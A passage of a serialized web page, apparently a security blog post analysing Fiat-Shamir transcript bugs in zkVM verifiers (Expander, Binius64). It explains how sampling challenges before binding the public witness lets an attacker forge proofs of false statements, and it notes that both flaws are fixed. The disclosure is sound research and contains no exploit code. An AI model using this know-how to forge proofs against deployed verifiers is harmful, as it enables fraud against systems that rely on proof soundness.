hildren":122894},{"className":122893},[5691],[122895],{"type":24,"tag":158,"props":122896,"children":122898},{"className":122897},[5696],[122899],{"type":24,"tag":158,"props":122900,"children":122902},{"className":122901,"style":113560},[5701],[122903,122915],{"type":24,"tag":158,"props":122904,"children":122905},{"style":113491},[122906,122910],{"type":24,"tag":158,"props":122907,"children":122909},{"className":122908,"style":113496},[5710],[],{"type":24,"tag":158,"props":122911,"children":122913},{"className":122912,"style":94325},[5669,22832],[122914],{"type":29,"value":95144},{"type":24,"tag":158,"props":122916,"children":122917},{"style":113491},[122918,122922],{"type":24,"tag":158,"props":122919,"children":122921},{"className":122920,"style":113496},[5710],[],{"type":24,"tag":158,"props":122923,"children":122925},{"className":122924,"style":113584},[113514],[122926],{"type":24,"tag":158,"props":122927,"children":122929},{"className":122928,"style":113590},[113589],[122930],{"type":24,"tag":35536,"props":122931,"children":122932},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[122933],{"type":24,"tag":113602,"props":122934,"children":122935},{"d":113604},[],{"type":24,"tag":158,"props":122937,"children":122939},{"className":122938},[22983],[122940],{"type":29,"value":521},{"type":24,"tag":25,"props":122942,"children":122943},{},[122944,122945,123014,123016,123021,123023,123028],{"type":29,"value":117161},{"type":24,"tag":154,"props":122946,"children":122948},{"className":122947},[5642,5643],[122949],{"type":24,"tag":158,"props":122950,"children":122952},{"className":122951},[5648],[122953],{"type":24,"tag":158,"props":122954,"children":122956},{"className":122955,"ariaHidden":3185},[5653],[122957],{"type":24,"tag":158,"props":122958,"children":122960},{"className":122959},[5658],[122961,122965],{"type":24,"tag":158,"props":122962,"children":122964},{"className":122963,"style":113560},[5663],[],{"type":24,"tag":158,"props":122966,"children":122968},{"className":122967},[5669,113474],[122969],{"type":24,"tag":158,"props":122970,"children":122972},{"className":122971},[5691],[122973],{"type":24,"tag":158,"props":122974,"children":122976},{"className":122975},[5696],[122977],{"type":24,"tag":158,"props":122978,"children":122980},{"className":122979,"style":113560},[5701],[122981,122993],{"type":24,"tag":158,"props":122982,"children":122983},{"style":113491},[122984,122988],{"type":24,"tag":158,"props":122985,"children":122987},{"className":122986,"style":113496},[5710],[],{"type":24,"tag":158,"props":122989,"children":122991},{"className":122990,"style":94325},[5669,22832],[122992],{"type":29,"value":95144},{"type":24,"tag":158,"props":122994,"children":122995},{"style":113491},[122996,123000],{"type":24,"tag":158,"props":122997,"children":122999},{"className":122998,"style":113496},[5710],[],{"type":24,"tag":158,"props":123001,"children":123003},{"className":123002,"style":113584},[113514],[123004],{"type":24,"tag":158,"props":123005,"children":123007},{"className":123006,"style":113590},[113589],[123008],{"type":24,"tag":35536,"props":123009,"children":123010},{"xmlns":113594,"width":113595,"height":113596,"style":113597,"viewBox":113598,"preserveAspectRatio":113599},[123011],{"type":24,"tag":113602,"props":123012,"children":123013},{"d":113604},[],{"type":29,"value":123015}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":24,"tag":154,"props":123017,"children":123019},{"className":123018},[],[123020],{"type":29,"value":122605},{"type":29,"value":123022},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":24,"tag":154,"props":123024,"children":123026},{"className":123025},[],[123027],{"type":29,"value":122605},{"type":29,"value":123029}," that makes the verifier's check pass.",{"type":24,"tag":25,"props":123031,"children":123032},{},[123033,123037,123039,123046,123047,123050,123057],{"type":24,"tag":897,"props":123034,"children":123035},{},[123036],{"type":29,"value":118035},{"type":29,"value":123038}," Fixed on 21st January 2026 via ",{"type":24,"tag":101,"props":123040,"children":123043},{"href":123041,"rel":123042},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[105],[123044],{"type":29,"value":123045},"commit 4a8c2be",{"type":29,"value":8106},{"type":24,"tag":32229,"props":123048,"children":123049},{},[],{"type":24,"tag":101,"props":123051,"children":123054},{"href":123052,"rel":123053},"https://blog.polyhedra.network/expander-bug-bounty/",[105],[123055],{"type":29,"value":123056},"Claimed 500k Bug bounty",{"type":29,"value":123058}," award pending",{"type":24,"tag":20034,"props":123060,"children":123061},{},[],{"type":24,"tag":395,"props":123063,"children":123065},{"id":123064},"binius64",[123066],{"type":29,"value":109168},{"type":24,"tag":25,"props":123068,"children":123069},{},[123070,123072,123199],{"type":29,"value":123071},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":24,"tag":154,"props":123073,"children":123075},{"className":123074},[5642,5643],[123076],{"type":24,"tag":158,"props":123077,"children":123079},{"className":123078},[5648],[123080],{"type":24,"tag":158,"props":123081,"children":123083},{"className":123082,"ariaHidden":3185},[5653],[123084],{"type":24,"tag":158,"props":123085,"children":123087},{"className":123086},[5658],[123088,123093],{"type":24,"tag":158,"props":123089,"children":123092},{"className":123090,"style":123091},[5663],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":24,"tag":158,"props":123094,"children":123096},{"className":123095},[5669],[123097,123104],{"type":24,"tag":158,"props":123098,"children":123101},{"className":123099},[5669,123100],"mathbb",[123102],{"type":29,"value":123103},"F",{"type":24,"tag":158,"props":123105,"children":123107},{"className":123106},[5686],[123108],{"type":24,"tag":158,"props":123109,"children":123111},{"className":123110},[5691,22886],[123112,123187],{"type":24,"tag":158,"props":123113,"children":123115},{"className":123114},[5696],[123116,123182],{"type":24,"tag":158,"props":123117,"children":123119},{"className":123118,"style":113657},[5701],[123120],{"type":24,"tag":158,"props":123121,"children":123123},{"style":123122},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[123124,123128],{"type":24,"tag":158,"props":123125,"children":123127},{"className":123126,"style":5711},[5710],[],{"type":24,"tag":158,"props":123129,"children":123131},{"className":123130},[5716,5717,5718,5719],[123132],{"type":24,"tag":158,"props":123133,"children":123135},{"className":123134},[5669,5719],[123136],{"type":24,"tag":158,"props":123137,"children":123139},{"className":123138},[5669,5719],[123140,123145],{"type":24,"tag":158,"props":123141,"children":123143},{"className":123142},[5669,5719],[123144],{"type":29,"value":4789},{"type":24,"tag":158,"props":123146,"children":123148},{"className":123147},[5686],[123149],{"type":24,"tag":158,"props":123150,"children":123152},{"className":123151},[5691],[123153],{"type":24,"tag":158,"props":123154,"children":123156},{"className":123155},[5696],[123157],{"type":24,"tag":158,"props":123158,"children":123161},{"className":123159,"style":123160},[5701],"height:0.7463em;",[123162],{"type":24,"tag":158,"props":123163,"children":123164},{"style":113782},[123165,123169],{"type":24,"tag":158,"props":123166,"children":123168},{"className":123167,"style":110185},[5710],[],{"type":24,"tag":158,"props":123170,"children":123172},{"className":123171},[5716,110190,110191,5719],[123173],{"type":24,"tag":158,"props":123174,"children":123176},{"className":123175},[5669,5719],[123177],{"type":24,"tag":158,"props":123178,"children":123180},{"className":123179},[5669,5719],[123181],{"type":29,"value":31107},{"type":24,"tag":158,"props":123183,"children":123185},{"className":123184},[22989],[123186],{"type":29,"value":22992},{"type":24,"tag":158,"props":123188,"children":123190},{"className":123189},[5696],[123191],{"type":24,"tag":158,"props":123192,"children":123195},{"className":123193,"style":123194},[5701],"height:0.1776em;",[123196],{"type":24,"tag":158,"props":123197,"children":123198},{},[],{"type":29,"value":123200}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":24,"tag":25,"props":123202,"children":123203},{},[123204,123206,123211],{"type":29,"value":123205},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":24,"tag":897,"props":123207,"children":123208},{},[123209],{"type":29,"value":123210},"Shift Protocol",{"type":29,"value":123212}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":24,"tag":25,"props":123214,"children":123215},{},[123216],{"type":24,"tag":897,"props":123217,"children":123218},{},[123219],{"type":29,"value":122637},{"type":24,"tag":25,"props":123221,"children":123222},{},[123223],{"type":29,"value":123224},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":24,"tag":147,"props":123226,"children":123228},{"code":123227,"language":150,"meta":7,"className":151,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[123229],{"type":24,"tag":154,"props":123230,"children":123231},{"__ignoreMap":7},[123232,123267,123292,123326,123334],{"type":24,"tag":158,"props":123233,"children":123234},{"class":160,"line":161},[123235,123239,123243,123247,123251,123255,123259,123263],{"type":24,"tag":158,"props":123236,"children":123237},{"style":165},[123238],{"type":29,"value":14924},{"type":24,"tag":158,"props":123240,"children":123241},{"style":165},[123242],{"type":29,"value":14929},{"type":24,"tag":158,"props":123244,"children":123245},{"style":496},[123246],{"type":29,"value":4395},{"type":24,"tag":158,"props":123248,"children":123249},{"style":188},[123250],{"type":29,"value":3760},{"type":24,"tag":158,"props":123252,"children":123253},{"style":171},[123254],{"type":29,"value":123103},{"type":24,"tag":158,"props":123256,"children":123257},{"style":188},[123258],{"type":29,"value":191},{"type":24,"tag":158,"props":123260,"children":123261},{"style":171},[123262],{"type":29,"value":117554},{"type":24,"tag":158,"props":123264,"children":123265},{"style":188},[123266],{"type":29,"value":8236},{"type":24,"tag":158,"props":123268,"children":123269},{"class":160,"line":213},[123270,123275,123279,123283,123288],{"type":24,"tag":158,"props":123271,"children":123272},{"style":177},[123273],{"type":29,"value":123274}," constraint_system",{"type":24,"tag":158,"props":123276,"children":123277},{"style":222},[123278],{"type":29,"value":225},{"type":24,"tag":158,"props":123280,"children":123281},{"style":222},[123282],{"type":29,"value":8784},{"type":24,"tag":158,"props":123284,"children":123285},{"style":171},[123286],{"type":29,"value":123287},"ConstraintSystem",{"type":24,"tag":158,"props":123289,"children":123290},{"style":188},[123291],{"type":29,"value":235},{"type":24,"tag":158,"props":123293,"children":123294},{"class":160,"line":238},[123295,123299,123303,123307,123311,123316,123321],{"type":24,"tag":158,"props":123296,"children":123297},{"style":177},[123298],{"type":29,"value":9163},{"type":24,"tag":158,"props":123300,"children":123301},{"style":222},[123302],{"type":29,"value":225},{"type":24,"tag":158,"props":123304,"children":123305},{"style":222},[123306],{"type":29,"value":8784},{"type":24,"tag":158,"props":123308,"children":123309},{"style":188},[123310],{"type":29,"value":2048},{"type":24,"tag":158,"props":123312,"children":123313},{"style":171},[123314],{"type":29,"value":123315},"Word",{"type":24,"tag":158,"props":123317,"children":123318},{"style":188},[123319],{"type":29,"value":123320},"], ",{"type":24,"tag":158,"props":123322,"children":123323},{"style":2588},[123324],{"type":29,"value":123325},"// \u003C- NEVER ABSORBED\n",{"type":24,"tag":158,"props":123327,"children":123328},{"class":160,"line":259},[123329],{"type":24,"tag":158,"props":123330,"children":123331},{"style":2588},[123332],{"type":29,"value":123333}," // ...\n",{"type":24,"tag":158,"props":123335,"children":123336},{"class":160,"line":280},[123337,123341,123345,123349,123353,123358,123362,123366,123370,123374],{"type":24,"tag":158,"props":123338,"children":123339},{"style":188},[123340],{"type":29,"value":723},{"type":24,"tag":158,"props":123342,"children":123343},{"style":222},[123344],{"type":29,"value":14991},{"type":24,"tag":158,"props":123346,"children":123347},{"style":171},[123348],{"type":29,"value":14996},{"type":24,"tag":158,"props":123350,"children":123351},{"style":188},[123352],{"type":29,"value":3760},{"type":24,"tag":158,"props":123354,"children":123355},{"style":171},[123356],{"type":29,"value":123357},"VerifyOutput",{"type":24,"tag":158,"props":123359,"children":123360},{"style":188},[123361],{"type":29,"value":3760},{"type":24,"tag":158,"props":123363,"children":123364},{"style":171},[123365],{"type":29,"value":123103},{"type":24,"tag":158,"props":123367,"children":123368},{"style":188},[123369],{"type":29,"value":8278},{"type":24,"tag":158,"props":123371,"children":123372},{"style":171},[123373],{"type":29,"value":38662},{"type":24,"tag":158,"props":123375,"children":123376},{"style":188},[123377],{"type":29,"value":7642},{"type":24,"tag":25,"props":123379,"children":123380},{},[123381,123383,123389,123390,123396,123398,123402],{"type":29,"value":123382},"In the shift protocol, challenges ",{"type":24,"tag":154,"props":123384,"children":123386},{"className":123385},[],[123387],{"type":29,"value":123388},"r_j",{"type":29,"value":1826},{"type":24,"tag":154,"props":123391,"children":123393},{"className":123392},[],[123394],{"type":29,"value":123395},"inout_eval_point",{"type":29,"value":123397}," are sampled ",{"type":24,"tag":897,"props":123399,"children":123400},{},[123401],{"type":29,"value":105869},{"type":29,"value":123403}," the public witness is bound.",{"type":24,"tag":25,"props":123405,"children":123406},{},[123407],{"type":24,"tag":897,"props":123408,"children":123409},{},[123410],{"type":29,"value":116757},{"type":24,"tag":25,"props":123412,"children":123413},{},[123414],{"type":24,"tag":84,"props":123415,"children":123418},{"alt":123416,"src":123417},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":24,"tag":25,"props":123420,"children":123421},{},[123422],{"type":29,"value":123423},"During verification",{"type":24,"tag":1786,"props":123425,"children":123426},{},[123427,123447,123459,123478],{"type":24,"tag":1790,"props":123428,"children":123429},{},[123430,123432,123437,123439,123445],{"type":29,"value":123431},"Sumcheck produces challenge points ",{"type":24,"tag":154,"props":123433,"children":123435},{"className":123434},[],[123436],{"type":29,"value":123388},{"type":29,"value":123438}," (bit indices) and ",{"type":24,"tag":154,"props":123440,"children":123442},{"className":123441},[],[123443],{"type":29,"value":123444},"r_s",{"type":29,"value":123446}," (shift indices)",{"type":24,"tag":1790,"props":123448,"children":123449},{},[123450,123452,123457],{"type":29,"value":123451},"Verifier samples ",{"type":24,"tag":154,"props":123453,"children":123455},{"className":123454},[],[123456],{"type":29,"value":123395},{"type":29,"value":123458}," from transcript",{"type":24,"tag":1790,"props":123460,"children":123461},{},[123462,123464,123470,123472,123477],{"type":29,"value":123463},"Verifier computes ",{"type":24,"tag":154,"props":123465,"children":123467},{"className":123466},[],[123468],{"type":29,"value":123469},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":29,"value":123471}," using the unbound ",{"type":24,"tag":154,"props":123473,"children":123475},{"className":123474},[],[123476],{"type":29,"value":62949},{"type":29,"value":19373},{"type":24,"tag":1790,"props":123479,"children":123480},{},[123481,123482,123488],{"type":29,"value":17850},{"type":24,"tag":154,"props":123483,"children":123485},{"className":123484},[],[123486],{"type":29,"value":123487},"public_eval",{"type":29,"value":123489}," feeds into subsequent verification equations",{"type":24,"tag":25,"props":123491,"children":123492},{},[123493],{"type":29,"value":123494},"The MLE evaluation is linear in the public witness bits:",{"type":24,"tag":25,"props":123496,"children":123497},{},[123498],{"type":24,"tag":154,"props":123499,"children":123501},{"className":123500},[5642,5643],[123502],{"type":24,"tag":158,"props":123503,"children":123505},{"className":123504},[5648],[123506],{"type":24,"tag":158,"props":123507,"children":123509},{"className":123508,"ariaHidden":3185},[5653],[123510,123554,123694,123806],{"type":24,"tag":158,"props":123511,"children":123513},{"className":123512},[5658],[123514,123518,123527,123532,123541,123545,123550],{"type":24,"tag":158,"props":123515,"children":123517},{"className":123516,"style":95738},[5663],[],{"type":24,"tag":158,"props":123519,"children":123521},{"className":123520},[5669,29],[123522],{"type":24,"tag":158,"props":123523,"children":123525},{"className":123524},[5669],[123526],{"type":29,"value":62949},{"type":24,"tag":158,"props":123528,"children":123530},{"className":123529,"style":94325},[5669],[123531],{"type":29,"value":4750},{"type":24,"tag":158,"props":123533,"children":123535},{"className":123534},[5669,29],[123536],{"type":24,"tag":158,"props":123537,"children":123539},{"className":123538},[5669],[123540],{"type":29,"value":38812},{"type":24,"tag":158,"props":123542,"children":123544},{"className":123543,"style":5848},[5750],[],{"type":24,"tag":158,"props":123546,"children":123548},{"className":123547},[5853],[123549],{"type":29,"value":1285},{"type":24,"tag":158,"props":123551,"children":123553},{"className":123552,"style":5848},[5750],[],{"type":24,"tag":158,"props":123555,"children":123557},{"className":123556},[5658],[123558,123562,123634,123638,123651,123656,123661,123666,123671,123676,123681,123685,123690],{"type":24,"tag":158,"props":123559,"children":123561},{"className":123560,"style":120087},[5663],[],{"type":24,"tag":158,"props":123563,"children":123565},{"className":123564},[22868],[123566,123571],{"type":24,"tag":158,"props":123567,"children":123569},{"className":123568,"style":22875},[22868,22873,22874],[123570],{"type":29,"value":110120},{"type":24,"tag":158,"props":123572,"children":123574},{"className":123573},[5686],[123575],{"type":24,"tag":158,"props":123576,"children":123578},{"className":123577},[5691,22886],[123579,123623],{"type":24,"tag":158,"props":123580,"children":123582},{"className":123581},[5696],[123583,123618],{"type":24,"tag":158,"props":123584,"children":123586},{"className":123585,"style":114997},[5701],[123587],{"type":24,"tag":158,"props":123588,"children":123589},{"style":22899},[123590,123594],{"type":24,"tag":158,"props":123591,"children":123593},{"className":123592,"style":5711},[5710],[],{"type":24,"tag":158,"props":123595,"children":123597},{"className":123596},[5716,5717,5718,5719],[123598],{"type":24,"tag":158,"props":123599,"children":123601},{"className":123600},[5669,5719],[123602,123608,123613],{"type":24,"tag":158,"props":123603,"children":123606},{"className":123604,"style":123605},[5669,22832,5719],"margin-right:0.02691em;",[123607],{"type":29,"value":50843},{"type":24,"tag":158,"props":123609,"children":123611},{"className":123610},[5782,5719],[123612],{"type":29,"value":5785},{"type":24,"tag":158,"props":123614,"children":123616},{"className":123615},[5669,22832,5719],[123617],{"type":29,"value":741},{"type":24,"tag":158,"props":123619,"children":123621},{"className":123620},[22989],[123622],{"type":29,"value":22992},{"type":24,"tag":158,"props":123624,"children":123626},{"className":123625},[5696],[123627],{"type":24,"tag":158,"props":123628,"children":123630},{"className":123629,"style":115563},[5701],[123631],{"type":24,"tag":158,"props":123632,"children":123633},{},[],{"type":24,"tag":158,"props":123635,"children":123637},{"className":123636,"style":5789},[5750],[],{"type":24,"tag":158,"props":123639,"children":123641},{"className":123640},[5669],[123642],{"type":24,"tag":158,"props":123643,"children":123645},{"className":123644},[5669,29],[123646],{"type":24,"tag":158,"props":123647,"children":123649},{"className":123648},[5669],[123650],{"type":29,"value":62949},{"type":24,"tag":158,"props":123652,"children":123654},{"className":123653},[22961],[123655],{"type":29,"value":2048},{"type":24,"tag":158,"props":123657,"children":123659},{"className":123658,"style":123605},[5669,22832],[123660],{"type":29,"value":50843},{"type":24,"tag":158,"props":123662,"children":123664},{"className":123663},[22983],[123665],{"type":29,"value":16646},{"type":24,"tag":158,"props":123667,"children":123669},{"className":123668},[22961],[123670],{"type":29,"value":2048},{"type":24,"tag":158,"props":123672,"children":123674},{"className":123673},[5669,22832],[123675],{"type":29,"value":741},{"type":24,"tag":158,"props":123677,"children":123679},{"className":123678},[22983],[123680],{"type":29,"value":16646},{"type":24,"tag":158,"props":123682,"children":123684},{"className":123683,"style":5751},[5750],[],{"type":24,"tag":158,"props":123686,"children":123688},{"className":123687},[5756],[123689],{"type":29,"value":112587},{"type":24,"tag":158,"props":123691,"children":123693},{"className":123692,"style":5751},[5750],[],{"type":24,"tag":158,"props":123695,"children":123697},{"className":123696},[5658],[123698,123703,123712,123717,123722,123727,123731,123788,123793,123797,123802],{"type":24,"tag":158,"props":123699,"children":123702},{"className":123700,"style":123701},[5663],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":24,"tag":158,"props":123704,"children":123706},{"className":123705},[5669,29],[123707],{"type":24,"tag":158,"props":123708,"children":123710},{"className":123709},[5669],[123711],{"type":29,"value":113914},{"type":24,"tag":158,"props":123713,"children":123715},{"className":123714},[22961],[123716],{"type":29,"value":504},{"type":24,"tag":158,"props":123718,"children":123720},{"className":123719},[5669,22832],[123721],{"type":29,"value":741},{"type":24,"tag":158,"props":123723,"children":123725},{"className":123724},[5782],[123726],{"type":29,"value":5785},{"type":24,"tag":158,"props":123728,"children":123730},{"className":123729,"style":5789},[5750],[],{"type":24,"tag":158,"props":123732,"children":123734},{"className":123733},[5669],[123735,123740],{"type":24,"tag":158,"props":123736,"children":123738},{"className":123737,"style":94325},[5669,22832],[123739],{"type":29,"value":95144},{"type":24,"tag":158,"props":123741,"children":123743},{"className":123742},[5686],[123744],{"type":24,"tag":158,"props":123745,"children":123747},{"className":123746},[5691,22886],[123748,123777],{"type":24,"tag":158,"props":123749,"children":123751},{"className":123750},[5696],[123752,123772],{"type":24,"tag":158,"props":123753,"children":123755},{"className":123754,"style":94854},[5701],[123756],{"type":24,"tag":158,"props":123757,"children":123758},{"style":111324},[123759,123763],{"type":24,"tag":158,"props":123760,"children":123762},{"className":123761,"style":5711},[5710],[],{"type":24,"tag":158,"props":123764,"children":123766},{"className":123765},[5716,5717,5718,5719],[123767],{"type":24,"tag":158,"props":123768,"children":123770},{"className":123769,"style":115548},[5669,22832,5719],[123771],{"type":29,"value":2053},{"type":24,"tag":158,"props":123773,"children":123775},{"className":123774},[22989],[123776],{"type":29,"value":22992},{"type":24,"tag":158,"props":123778,"children":123780},{"className":123779},[5696],[123781],{"type":24,"tag":158,"props":123782,"children":123784},{"className":123783,"style":120235},[5701],[123785],{"type":24,"tag":158,"props":123786,"children":123787},{},[],{"type":24,"tag":158,"props":123789,"children":123791},{"className":123790},[22983],[123792],{"type":29,"value":521},{"type":24,"tag":158,"props":123794,"children":123796},{"className":123795,"style":5751},[5750],[],{"type":24,"tag":158,"props":123798,"children":123800},{"className":123799},[5756],[123801],{"type":29,"value":112587},{"type":24,"tag":158,"props":123803,"children":123805},{"className":123804,"style":5751},[5750],[],{"type":24,"tag":158,"props":123807,"children":123809},{"className":123808},[5658],[123810,123814,123823,123828,123833,123838,123842,123852,123857,123866,123871,123880],{"type":24,"tag":158,"props":123811,"children":123813},{"className":123812,"style":94267},[5663],[],{"type":24,"tag":158,"props":123815,"children":123817},{"className":123816},[5669,29],[123818],{"type":24,"tag":158,"props":123819,"children":123821},{"className":123820},[5669],[123822],{"type":29,"value":113914},{"type":24,"tag":158,"props":123824,"children":123826},{"className":123825},[22961],[123827],{"type":29,"value":504},{"type":24,"tag":158,"props":123829,"children":123831},{"className":123830,"style":123605},[5669,22832],[123832],{"type":29,"value":50843},{"type":24,"tag":158,"props":123834,"children":123836},{"className":123835},[5782],[123837],{"type":29,"value":5785},{"type":24,"tag":158,"props":123839,"children":123841},{"className":123840,"style":5789},[5750],[],{"type":24,"tag":158,"props":123843,"children":123845},{"className":123844},[5669,29],[123846],{"type":24,"tag":158,"props":123847,"children":123849},{"className":123848},[5669],[123850],{"type":29,"value":123851},"inout",{"type":24,"tag":158,"props":123853,"children":123855},{"className":123854,"style":94325},[5669],[123856],{"type":29,"value":4750},{"type":24,"tag":158,"props":123858,"children":123860},{"className":123859},[5669,29],[123861],{"type":24,"tag":158,"props":123862,"children":123864},{"className":123863},[5669],[123865],{"type":29,"value":38812},{"type":24,"tag":158,"props":123867,"children":123869},{"className":123868,"style":94325},[5669],[123870],{"type":29,"value":4750},{"type":24,"tag":158,"props":123872,"children":123874},{"className":123873},[5669,29],[123875],{"type":24,"tag":158,"props":123876,"children":123878},{"className":123877},[5669],[123879],{"type":29,"value":119110},{"type":24,"tag":158,"props":123881,"children":123883},{"className":123882},[22983],[123884],{"type":29,"value":521},{"type":24,"tag":25,"props":123886,"children":123887},{},[123888,123890,123895,123897,123970],{"type":29,"value":123889},"With challenges fixed (independent of ",{"type":24,"tag":154,"props":123891,"children":123893},{"className":123892},[],[123894],{"type":29,"value":62949},{"type":29,"value":123896},"), an attacker can find an alternate witness ",{"type":24,"tag":154,"props":123898,"children":123900},{"className":123899},[5642,5643],[123901],{"type":24,"tag":158,"props":123902,"children":123904},{"className":123903},[5648],[123905],{"type":24,"tag":158,"props":123906,"children":123908},{"className":123907,"ariaHidden":3185},[5653],[123909],{"type":24,"tag":158,"props":123910,"children":123912},{"className":123911},[5658],[123913,123918],{"type":24,"tag":158,"props":123914,"children":123917},{"className":123915,"style":123916},[5663],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":24,"tag":158,"props":123919,"children":123921},{"className":123920},[5669],[123922,123931],{"type":24,"tag":158,"props":123923,"children":123925},{"className":123924},[5669,29],[123926],{"type":24,"tag":158,"props":123927,"children":123929},{"className":123928},[5669],[123930],{"type":29,"value":62949},{"type":24,"tag":158,"props":123932,"children":123934},{"className":123933},[5686],[123935],{"type":24,"tag":158,"props":123936,"children":123938},{"className":123937},[5691],[123939],{"type":24,"tag":158,"props":123940,"children":123942},{"className":123941},[5696],[123943],{"type":24,"tag":158,"props":123944,"children":123947},{"className":123945,"style":123946},[5701],"height:0.8362em;",[123948],{"type":24,"tag":158,"props":123949,"children":123951},{"style":123950},"top:-3.1473em;margin-right:0.05em;",[123952,123956],{"type":24,"tag":158,"props":123953,"children":123955},{"className":123954,"style":5711},[5710],[],{"type":24,"tag":158,"props":123957,"children":123959},{"className":123958},[5716,5717,5718,5719],[123960],{"type":24,"tag":158,"props":123961,"children":123963},{"className":123962},[5669,5719],[123964],{"type":24,"tag":158,"props":123965,"children":123967},{"className":123966},[5669,5719],[123968],{"type":29,"value":123969},"′",{"type":29,"value":123971}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":24,"tag":25,"props":123973,"children":123974},{},[123975,123979,123981],{"type":24,"tag":897,"props":123976,"children":123977},{},[123978],{"type":29,"value":118035},{"type":29,"value":123980}," Fixed on December 29, 2025 via ",{"type":24,"tag":101,"props":123982,"children":123985},{"href":123983,"rel":123984},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[105],[123986],{"type":29,"value":123987},"commit 86a515f",{"type":24,"tag":20034,"props":123989,"children":123990},{},[],{"type":24,"tag":59,"props":123992,"children":123994},{"id":123993},"why-does-this-keep-happening",[123995],{"type":29,"value":123996},"Why Does This Keep Happening?",{"type":24,"tag":25,"props":123998,"children":123999},{},[124000],{"type":29,"value":124001},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":24,"tag":395,"props":124003,"children":124005},{"id":124004},"academic-papers-dont-specify-fiat-shamir",[124006],{"type":29,"value":124007},"Academic Papers Don't Specify Fiat-Shamir",{"type":24,"tag":25,"props":124009,"children":124010},{},[124011,124013,124018,124020,124045,124047,124050,124052,124077,124079,124106],{"type":29,"value":124012},"Academic papers usually describe ",{"type":24,"tag":32,"props":124014,"children":124015},{},[124016],{"type":29,"value":124017},"interactive",{"type":29,"value":124019}," protocols: \"Prover sends ",{"type":24,"tag":154,"props":124021,"children":124023},{"className":124022},[5642,5643],[124024],{"type":24,"tag":158,"props":124025,"children":124027},{"className":124026},[5648],[124028],{"type":24,"tag":158,"props":124029,"children":124031},{"className":124030,"ariaHidden":3185},[5653],[124032],{"type":24,"tag":158,"props":124033,"children":124035},{"className":124034},[5658],[124036,124040],{"type":24,"tag":158,"props":124037,"children":124039},{"className":124038,"style":22827},[5663],[],{"type":24,"tag":158,"props":124041,"children":124043},{"className":124042,"style":23364},[5669,22832],[124044],{"type":29,"value":117554},{"type":29,"value":124046},". Verifier sends",{"type":24,"tag":32229,"props":124048,"children":124049},{},[],{"type":29,"value":124051},"random ",{"type":24,"tag":154,"props":124053,"children":124055},{"className":124054},[5642,5643],[124056],{"type":24,"tag":158,"props":124057,"children":124059},{"className":124058},[5648],[124060],{"type":24,"tag":158,"props":124061,"children":124063},{"className":124062,"ariaHidden":3185},[5653],[124064],{"type":24,"tag":158,"props":124065,"children":124067},{"className":124066},[5658],[124068,124072],{"type":24,"tag":158,"props":124069,"children":124071},{"className":124070,"style":112166},[5663],[],{"type":24,"tag":158,"props":124073,"children":124075},{"className":124074,"style":94325},[5669,22832],[124076],{"type":29,"value":95144},{"type":29,"value":124078},". Prover sends ",{"type":24,"tag":154,"props":124080,"children":124082},{"className":124081},[5642,5643],[124083],{"type":24,"tag":158,"props":124084,"children":124086},{"className":124085},[5648],[124087],{"type":24,"tag":158,"props":124088,"children":124090},{"className":124089,"ariaHidden":3185},[5653],[124091],{"type":24,"tag":158,"props":124092,"children":124094},{"className":124093},[5658],[124095,124099],{"type":24,"tag":158,"props":124096,"children":124098},{"className":124097,"style":22827},[5663],[],{"type":24,"tag":158,"props":124100,"children":124103},{"className":124101,"style":124102},[5669,22832],"margin-right:0.00773em;",[124104],{"type":29,"value":124105},"R",{"type":29,"value":124107},".\"",{"type":24,"tag":25,"props":124109,"children":124110},{},[124111,124113,124138,124140,124165],{"type":29,"value":124112},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":24,"tag":154,"props":124114,"children":124116},{"className":124115},[5642,5643],[124117],{"type":24,"tag":158,"props":124118,"children":124120},{"className":124119},[5648],[124121],{"type":24,"tag":158,"props":124122,"children":124124},{"className":124123,"ariaHidden":3185},[5653],[124125],{"type":24,"tag":158,"props":124126,"children":124128},{"className":124127},[5658],[124129,124133],{"type":24,"tag":158,"props":124130,"children":124132},{"className":124131,"style":22827},[5663],[],{"type":24,"tag":158,"props":124134,"children":124136},{"className":124135,"style":23364},[5669,22832],[124137],{"type":29,"value":117554},{"type":29,"value":124139}," before sampling ",{"type":24,"tag":154,"props":124141,"children":124143},{"className":124142},[5642,5643],[124144],{"type":24,"tag":158,"props":124145,"children":124147},{"className":124146},[5648],[124148],{"type":24,"tag":158,"props":124149,"children":124151},{"className":124150,"ariaHidden":3185},[5653],[124152],{"type":24,"tag":158,"props":124153,"children":124155},{"className":124154},[5658],[124156,124160],{"type":24,"tag":158,"props":124157,"children":124159},{"className":124158,"style":112166},[5663],[],{"type":24,"tag":158,"props":124161,"children":124163},{"className":124162,"style":94325},[5669,22832],[124164],{"type":29,"value":95144},{"type":29,"value":124166},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":24,"tag":25,"props":124168,"children":124169},{},[124170],{"type":29,"value":124171},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding 